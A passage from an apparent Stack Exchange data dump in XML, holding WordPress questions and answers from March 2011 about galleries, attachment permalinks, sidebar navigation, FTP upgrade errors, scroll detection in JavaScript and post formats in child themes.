jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible in Wordpress without the use of a plugin? I want to do this on a post-by-post basis and without going into the HTML editor and manually writing the code. My clients tend not to be too computer-savvy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-03-19T01:24:55.123" Title="Making jQuery-based galleries with Wordpress without a plugin?" Tags="&lt;jquery&gt;&lt;3.1&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12401" PostTypeId="2" ParentId="12316" CreationDate="2011-03-18T17:41:09.093" Score="0" ViewCount="" Body="&lt;p&gt;I think what we want might be something more like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $image_url = get_post_meta($post-&amp;gt;ID, 'image-url-field', true);&#xA;  $link_url = get_post_meta($post-&amp;gt;ID, 'link-url-field', true);&#xA;  $link_text = get_post_meta($post-&amp;gt;ID, 'link-text-field', true);&#xA;&#xA;  // display inline image&#xA;  echo '&amp;lt;img src=&quot;' . esc_url($image_url) . '&quot; /&amp;gt;';&#xA;&#xA;  // display clickable link&#xA;  echo '&amp;lt;a href=&quot;' . esc_url($link_url) . '&quot;&amp;gt;' . esc_html($link_text) . '&amp;lt;/a&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-18T17:41:09.093" />
  <row Id="12402" PostTypeId="2" ParentId="12342" CreationDate="2011-03-18T17:48:30.210" Score="1" ViewCount="" Body="&lt;p&gt;So I think you're problem is the quotes in the href inside your function. Try escaping them like this and it should be fixed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p&amp;gt;&amp;lt;?php _e(&quot;Sorry but, you are looking for something that isn't here. &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;Looking for more web developer jobs, please visit our sister site: &amp;lt;a href=\&quot;http://LAMPjobsLA.com\&quot;&amp;gt;LAMPjobsLA.com&amp;lt;/a&amp;gt;&quot;, 'cleanhome') ;?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-03-18T17:48:30.210" CommentCount="1" />
  <row Id="12403" PostTypeId="1" AcceptedAnswerId="12452" CreationDate="2011-03-18T18:07:50.290" Score="0" ViewCount="70" Body="&lt;p&gt;I've been looking for a chat support plugin for WP and I haven't been able to find one, does anyone know about one? Free or paid doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-03-19T01:22:27.137" Title="Chat support plugin?" Tags="&lt;plugins&gt;&lt;support&gt;" AnswerCount="2" />
  <row Id="12404" PostTypeId="2" ParentId="9414" CreationDate="2011-03-18T18:45:45.297" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;echo get_the_term_list( get_the_ID(), 'tax_name', 'Product:' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2011-03-18T18:45:45.297" />
  <row Id="12405" PostTypeId="1" AcceptedAnswerId="12422" CreationDate="2011-03-18T19:05:15.543" Score="1" ViewCount="124" Body="&lt;p&gt;If you use the &lt;code&gt;[gallery]&lt;/code&gt; tag at all you know that permalinks for image attachments end up like &lt;code&gt;blog.com/2011/03/18/post-permalink/attachment-permalink&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL extension from the post permalink appears to be based on the attachment's title on first save. To my knowledge, however, this permalink does not update when the image title is edited in the media tools. I cannot find a way to do edit attachment permalinks at all, actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a user-facing interface I'm missing that will let users edit an attachment's permalink?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-18T20:54:11.087" Title="Is there a user-facing interface to edit an attachment's permalink?" Tags="&lt;permalinks&gt;&lt;media&gt;&lt;media-library&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="12406" PostTypeId="1" AcceptedAnswerId="12427" CreationDate="2011-03-18T19:47:50.170" Score="0" ViewCount="133" Body="&lt;p&gt;It's possible that I'm just doing this wrong, so feel free to let me know how you would solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mostly page-based site, but there are a few &quot;pages&quot; where my content is coming from a custom &lt;code&gt;query_posts()&lt;/code&gt; call. In all of these pages I want to be able to use &lt;code&gt;wp_list_pages()&lt;/code&gt; to generate sub-navigation. This works just fine when I'm in a normal page, but when I'm in a &quot;page&quot; with &lt;code&gt;query_posts()&lt;/code&gt; content, this doesn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what I mean by a &quot;page&quot;. This one is a theme file called &lt;code&gt;page-media.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php query_posts('category_name=in-the-media'); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part('loop', 'index'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sub-navigation happens in &lt;code&gt;sidebar.php&lt;/code&gt;, so it's happening post-loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I'm generating my menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($post-&amp;gt;post_parent)&#xA;{&#xA;    $children = wp_list_pages('title_li=&amp;amp;child_of=' . $post-&amp;gt;post_parent . '&amp;amp;echo=0');&#xA;}&#xA;else&#xA;{&#xA;    $children = wp_list_pages('title_li=&amp;amp;child_of=' . $post-&amp;gt;ID . '&amp;amp;echo=0');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then print &lt;code&gt;$children&lt;/code&gt; later in a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;. This works perfectly in a page or its sub-page, but displays nothing in a page where I've called &lt;code&gt;query_posts()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I approaching this correctly? Is there something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="2984" LastEditorDisplayName="" LastEditDate="2011-03-18T19:53:12.050" LastActivityDate="2011-07-07T04:20:47.210" Title="Using wp_list_pages() after calling query_posts()" Tags="&lt;posts&gt;&lt;wp-query&gt;&lt;menus&gt;&lt;pages&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12407" PostTypeId="1" CreationDate="2011-03-18T19:47:56.967" Score="1" ViewCount="455" Body="&lt;p&gt;I want to put a archive into sidebar. I need to select archive from 3 dropdown list with &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Year &lt;/li&gt;&#xA;&lt;li&gt;Month and &lt;/li&gt;&#xA;&lt;li&gt;Day &lt;/li&gt;&#xA;&lt;li&gt;and Go button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I select Year-Month-Day from 3 dropdown lists and click on Go button then selected date archive post will show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me how it possible &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, amazon&lt;/p&gt;&#xA;" OwnerUserId="4045" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-19T19:39:44.320" LastActivityDate="2011-08-18T07:26:19.233" Title="Archive in sidebar with dropdown list of Year - Month - Day" Tags="&lt;archive&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12408" PostTypeId="1" CreationDate="2011-03-18T19:53:37.827" Score="0" ViewCount="74" Body="&lt;p&gt;I am familiar with wp-config.php settings, but this case is special. No constant can solve my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info from Core Control plugin (and phpinfo):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Direct Not Available&lt;/li&gt;&#xA;&lt;li&gt;SSH2 Not Available&lt;/li&gt;&#xA;&lt;li&gt;PHP FTP Extension Available&lt;/li&gt;&#xA;&lt;li&gt;PHP FTP Sockets Available&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;1) First problem when using &quot;ftpext&quot; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: &quot;Unable to locate WordPress Content directory (wp-content).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if constants FTP_BASE, FTP_CONTENT_DIR' and 'FTP_PLUGIN_DIR' defined, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FTP_BASE', '/home/www/domain.eu/subdomains/www/');&#xA;define('FTP_CONTENT_DIR', '/home/www/domain.eu/subdomains/www/wp-content/');&#xA;define('FTP_PLUGIN_DIR', '/home/www/domain.eu/subdomains/www/wp-content/plugins/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ended with following error: &quot;Could not create directory. /home&quot;&#xA;I aslo do not understand why /home is the problematic directory?&#xA;There is no need to create /home directory...&#xA;No way to install/upgrade WordPress or plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) When I tried &quot;ftpsockets&quot;, following error appears: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: socket_last_error() expects parameter 1 to be resource, null given in /srv2/www/domain.eu/subdomains/www/wp-admin/includes/class-ftp-sockets.php on line 59&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed small problem, that WordPress thinks that address starts with /srv2/www (see socket error) but my phpinfo starts DOCUMENT_ROOT with /home/www&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I can give you temporary access, if you are interested...&lt;/p&gt;&#xA;" OwnerUserId="3316" LastActivityDate="2011-03-18T19:53:37.827" Title="Problem with installing/upgrading (ftpext and ftpsockets)" Tags="&lt;updates&gt;" />
  <row Id="12409" PostTypeId="2" ParentId="12403" CreationDate="2011-03-18T19:57:04.743" Score="0" ViewCount="" Body="&lt;p&gt;I have tried A LOT but ... in the end I found 123Chat the the most professional: &lt;a href=&quot;http://www.123flashchat.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.123flashchat.com/&lt;/a&gt; / &lt;a href=&quot;http://www.123flashchat.com/live-help-chat.html&quot; rel=&quot;nofollow&quot;&gt;http://www.123flashchat.com/live-help-chat.html&lt;/a&gt; worked very well on my BuddyPress / Multisite community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Enterprise ready versus all the others which are 'smaller business ready or even use for non professional use only'). They have a lot of different applets and products and plugins and are the most comprehensive, just check their business partner list: ibm etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, they were also the most expensive BUT.. cool things, developer platform, running the java server on your own server or hosted, apps for mobile applications and from rooms to chatbar to whatever it's in there and they can customize and setup everything. Went very smoothly.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-18T20:11:45.117" LastActivityDate="2011-03-18T20:11:45.117" CommentCount="3" />
  <row Id="12410" PostTypeId="1" AcceptedAnswerId="12411" CreationDate="2011-03-18T19:57:30.287" Score="0" ViewCount="33" Body="&lt;p&gt;Take a look at this post: &lt;a href=&quot;http://mikewills.me/blog/links-for-2011-02-24/&quot; rel=&quot;nofollow&quot;&gt;http://mikewills.me/blog/links-for-2011-02-24/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My images are broke and CSS links are broke. I know the problem is with the permalink, but why would it be broke? I have the same problem with the Twenty Ten theme and the new Twenty Ten Five theme. &lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2011-03-18T20:05:20.203" Title="Template messed up on viewing posts" Tags="&lt;themes&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="12411" PostTypeId="2" ParentId="12410" CreationDate="2011-03-18T20:05:20.203" Score="2" ViewCount="" Body="&lt;p&gt;Viewing your pagesource and clicking on your first style sheet link brings up this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;Not Found&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Apache server with mod_pagespeed&amp;lt;/h1&amp;gt;&#xA;        OK&#xA;        &amp;lt;hr&amp;gt;&#xA;        NOT FOUND:http://mikewills.me/blog/links-for-2011-02-24/&#xA;            wp-content/themes/richardshepherd-TwentyTenFive-a8f2860&#xA;                /style.css.pagespeed.ce.pAcUzu9T3K.css&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like your (cached?) stylesheet isn't where you think it is or your apache module isn't configured correctly.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2011-03-18T20:05:20.203" CommentCount="2" />
  <row Id="12412" PostTypeId="1" AcceptedAnswerId="12449" CreationDate="2011-03-18T20:06:00.530" Score="0" ViewCount="147" Body="&lt;p&gt;I have a script that loads jQuery when an element comes into the viewport, as discovered by Javascript (without a library), and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;viewport.js:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var height = 0;&#xA;if( typeof( window.innerWidth ) == 'number' ) {&#xA;    //Non-IE&#xA;    height = window.innerHeight;&#xA;} else if ( document.documentElement &amp;amp;&amp;amp; ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {&#xA;    //IE 6+ in 'standards compliant mode'&#xA;    height = document.documentElement.clientHeight;&#xA;} else if ( document.body &amp;amp;&amp;amp; ( document.body.clientWidth || document.body.clientHeight ) ) {&#xA;    //IE 4 compatible&#xA;    height = document.body.clientHeight;&#xA;}&#xA;&#xA;function gingah_comments_onLoad() {&#xA;    var element = document.getElementById(&quot;comments&quot;);&#xA;    var current = height+document.body.scrollTop;&#xA;    var target = element.offsetTop;&#xA;    console.log(current);&#xA;    console.log(target);&#xA;    if (current &amp;gt;= target) {&#xA;        if (typeof jQuery == 'undefined') {&#xA;            $.defer(&quot;http://localhost/wp/wp-includes/js/jquery/jquery.js&quot;, {&#xA;            }).done(console.log('loaded jQuery'));&#xA;            window.onscroll = null;&#xA;        }&#xA;    }&#xA;}&#xA;window.onscroll = gingah_comments_onLoad;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And the html used:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;script src=&quot;DeferJS.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;viewport.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div style=&quot;height: 1000px; border: 1px solid #ff0000;&quot;&amp;gt;Top&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;comment_box&quot; style=&quot;height: 1000px; border: 1px solid #ff0000;&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;comments&quot;&amp;gt;Comment1&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The DeferJS.min.js refers to a minified version of the following: &lt;a href=&quot;https://github.com/BorisMoore/DeferJS/raw/master/DeferJS.js&quot; rel=&quot;nofollow&quot;&gt;https://github.com/BorisMoore/DeferJS/raw/master/DeferJS.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to implement this in Wordpress (3.1), having used wp_enqueue_script for both viewport.js and DeferJS.min.js, the scrollTop appears to not work at all. When the HTML and JS above is combined, it will log the values to the console, making it very clear when &lt;em&gt;#comments&lt;/em&gt; came into the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when replicating the process in Wordpress, the &lt;em&gt;current&lt;/em&gt; var does not count upwards when scrolling down, but stays static. And, according to Firebug, viewport.js, DeferJS.min.js and l10n.js (Wordpress 3.1 localization) are the only scripts loaded. Also, &lt;a href=&quot;http://www.quirksmode.org/dom/w3c_cssom.html&quot; rel=&quot;nofollow&quot; title=&quot;Quirksmode&quot;&gt;Quirksmode&lt;/a&gt; lists the scrollTop method as available in practically all browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this malfunction in document.body.scrollTop?&lt;/p&gt;&#xA;" OwnerUserId="2983" LastActivityDate="2011-03-18T23:48:06.627" Title="Document.body.scrollTop in Wordpress" Tags="&lt;3.1&gt;&lt;javascript&gt;" AnswerCount="1" />
  <row Id="12414" PostTypeId="1" AcceptedAnswerId="12426" CreationDate="2011-03-18T20:16:04.833" Score="0" ViewCount="89" Body="&lt;p&gt;Let's say theme 1.0 is installed with 30 files in it. Then two weeks later theme is upgraded to theme 2.0 which contains only 10 files. Do those older 20 files get automatically deleted after upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I wanted to do is to place a file inside the theme directory, trough which the user can customize the theme. This file would be created after the theme is installed trough the theme settings. But if WP does delete files that do not exist in the official theme package, then this file would be deleted as well...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-03-18T21:21:45.620" LastActivityDate="2011-03-18T22:37:45.870" Title="Does WP delete deprecated plugin/theme files on plugin/theme upgrade?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;upgrade&gt;" AnswerCount="3" />
  <row Id="12415" PostTypeId="2" ParentId="12405" CreationDate="2011-03-18T20:19:39.170" Score="1" ViewCount="" Body="&lt;p&gt;WordPress stores the original filename in the database as a unique identifier for the attachment. Unfortunately, as far as I know, there isn't any way of changing it within the UI. It's not super convenient, but you'd most likely have to re-upload the file.&lt;/p&gt;&#xA;" OwnerUserId="4044" LastActivityDate="2011-03-18T20:19:39.170" />
  <row Id="12416" PostTypeId="2" ParentId="12351" CreationDate="2011-03-18T20:23:57.660" Score="0" ViewCount="" Body="&lt;p&gt;4) Plugins &gt; WordPress.com Stats. Uncheck Admin Bar. Unfortunately, it doesn't saved but you can easily fix it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Index: stats/stats.php&#xA;===================================================================&#xA;--- stats/stats.php     (revision 361838)&#xA;+++ stats/stats.php     (working copy)&#xA;@@ -351,8 +351,7 @@&#xA;&#xA;                        case 'save_options' :&#xA;                                $options = stats_get_options();&#xA;-                               if ( isset($_POST['admin_bar']) )&#xA;-                                       $options['admin_bar'] = (bool) $_POST['admin_bar'];&#xA;+                               $options['admin_bar'] = isset($_POST['admin_bar']) &amp;&amp; $_POST['admin_bar'];&#xA;                                $options['wp_me'] = isset($_POST['wp_me']) &amp;&amp; $_POST['wp_me'];&#xA;                                $options['reg_users'] = isset($_POST['reg_users']) &amp;&amp; $_POST['reg_users'];&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... or use this until someone report the bug:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;add_action( 'plugins_loaded', 'remove_stats_admin_bar_head' );&#xA;    function remove_stats_admin_bar_head() {&#xA;        remove_action( 'wp_head', 'stats_admin_bar_head', 100 );&#xA;    }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-18T20:23:57.660" CommentCount="1" />
  <row Id="12417" PostTypeId="2" ParentId="12341" CreationDate="2011-03-18T20:30:08.790" Score="1" ViewCount="" Body="&lt;p&gt;Since I want to easily review the http returns together with the logfiles I log them in a request database. during development handy since i have a second database that stores the metadata of the physical cache. so when i delete that one (over and over again). I can keep on doing requests from the request database and will not bother external servers time and time again. It also lets me do some specific queries on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-favicons/trunk/plugins/cache/request_cache.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/wp-favicons/trunk/plugins/cache/request_cache.php&lt;/a&gt;&#xA;called from &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-favicons/trunk/includes/class-http.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/wp-favicons/trunk/includes/class-http.php&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a couple of thousands requests in it which I find easier scrolling through in its own database. But in my case my data (favicons) are pretty static versus e.g. rss feeds where this would be a nogo.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-03-18T20:30:08.790" />
  <row Id="12418" PostTypeId="2" ParentId="12392" CreationDate="2011-03-18T20:49:16.740" Score="1" ViewCount="" Body="&lt;p&gt;Let see if I remember this correctly.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://yoursite.com/wp-admin/options.php&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/wp-admin/options.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find &lt;code&gt;permalink_structure&lt;/code&gt;. By default, the value should be &lt;code&gt;/blog/%year%/%monthnum%/%postname%/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the value manually to whatever value you like. e.g &lt;code&gt;/pressreleases/%year%/%monthnum%/%postname%/&lt;/code&gt; or just &lt;code&gt;/%year%/%monthnum%/%postname%/&lt;/code&gt;. Then Save Changes.&lt;/li&gt;&#xA;&lt;li&gt;Now visit &lt;a href=&quot;http://yoursite.com/wp-admin/options-permalink.php&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/wp-admin/options-permalink.php&lt;/a&gt; and &lt;strong&gt;DON'T&lt;/strong&gt; click Save Changes. It should flush the rules. If you click Save Changes it will revert back to the default.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;LOL&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-18T20:49:16.740" CommentCount="1" />
  <row Id="12419" PostTypeId="1" CreationDate="2011-03-18T20:49:39.137" Score="0" ViewCount="60" Body="&lt;p&gt;So I have a &quot;media&quot; category page that pulls posts with a category of &quot;video&quot;. The videos are embedded through the editor normally. Some videos will have additional descriptive text added after the embed position. On the category page I only want to show the video itself - not the additional text (if any exists). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this? Right now I'm using the_content(); and as you would expect it shows everything entered into the editor. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;?php $videos = new WP_Query('category_name=video'); ?&amp;gt;&#xA;                &amp;lt;?php while ( $videos-&amp;gt;have_posts() ) : $videos-&amp;gt;the_post(); ?&amp;gt;&#xA;                    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3899" LastActivityDate="2011-03-18T20:49:39.137" Title="Video on Category Page (embedded through editor) with no additional content showing - How to?" Tags="&lt;categories&gt;&lt;editor&gt;&lt;videos&gt;&lt;oembed&gt;" CommentCount="3" />
  <row Id="12420" PostTypeId="1" AcceptedAnswerId="15067" CreationDate="2011-03-18T20:50:51.823" Score="3" ViewCount="255" Body="&lt;p&gt;I'm having a very hard time implementing post formats in my Thematic child theme. I am able to add post format theme support and add content via the big conditional statement, but the &lt;code&gt;.format-video&lt;/code&gt;, etc. selectors do not appear in the post class so I can' use them to style the formats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to some echoing tests, the selector appears as it should in &lt;code&gt;post_class()&lt;/code&gt; but is nowhere to be found in &lt;code&gt;thematic_post_class()&lt;/code&gt;. &#xA;I tried removing &lt;code&gt;thematic_post_class()&lt;/code&gt; to let &lt;code&gt;post_class()&lt;/code&gt; function instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// remove thematic_post_class to include post format selector in post class&#xA;function childtheme_override_post_class() {&#xA;     remove_action('thematic_post_class','thematic_access', 9);&#xA;}&#xA;add_action('init', 'childtheme_override_post_class');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this function, &lt;code&gt;thematic_post_class()&lt;/code&gt; no longer echoes, but the theme is still not registering the format selectors. I saw in another post that the &lt;code&gt;after_setup_theme&lt;/code&gt; action hook worked to enable formats in a Twenty-Ten child - tried this in my theme but it made no difference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpfolio_add_format_support() {&#xA;    add_theme_support( 'post-formats', array( 'aside', 'gallery', 'video', 'link', 'image', 'quote') );&#xA;}&#xA;add_action('after_setup_theme', 'wpfolio_add_format_support', 11);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3040" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-24T21:22:58.210" LastActivityDate="2011-04-18T19:12:47.083" Title="Post format selector in Thematic child theme post class" Tags="&lt;3.1&gt;&lt;child-theme&gt;&lt;post-formats&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="12421" PostTypeId="2" ParentId="12405" CreationDate="2011-03-18T20:51:24.753" Score="2" ViewCount="" Body="&lt;p&gt;There is a plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/rename-media/&quot; rel=&quot;nofollow&quot;&gt;Rename Media&lt;/a&gt; that changes the filename when you edit the title.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-18T20:51:24.753" />
  <row Id="12422" PostTypeId="2" ParentId="12405" CreationDate="2011-03-18T20:54:11.087" Score="4" ViewCount="" Body="&lt;p&gt;This'll add a slug field to the edit attachment page, which'll allow you to independently change it when and how you choose to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop it into a plugin or your theme's &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __edit_attachment_name( $fields, $post )&#xA;{&#xA;    $fields['post_name'] = array(&#xA;        'label' =&amp;gt; __('Slug'),&#xA;        'value' =&amp;gt; $post-&amp;gt;post_name&#xA;    );&#xA;&#xA;    return $fields;&#xA;}&#xA;add_filter( 'attachment_fields_to_edit', '__edit_attachment_name', 10, 2 );&#xA;&#xA;function __save_attachment_name( $attachment, $POST_data )&#xA;{&#xA;    if ( !empty( $POST_data['post_name'] ) )&#xA;        $attachment['post_name'] = $POST_data['post_name'];&#xA;    return $attachment;&#xA;}&#xA;add_filter( 'attachment_fields_to_save', '__save_attachment_name', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-18T20:54:11.087" />
  <row Id="12424" PostTypeId="1" CreationDate="2011-03-18T20:55:51.300" Score="0" ViewCount="53" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;     &amp;lt;?php if(have_posts()) : while(have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;?php the_title('&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute('echo=0') . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;'); ?&amp;gt;     &#xA;    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;        &amp;lt;?php the_content(__('read more...', 'example')); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;p class=&quot;no-posts&quot;&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria', 'example'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-18T20:55:51.300" Title="Is there anything wrong w/ this loop code?" Tags="&lt;loop&gt;" CommentCount="5" />
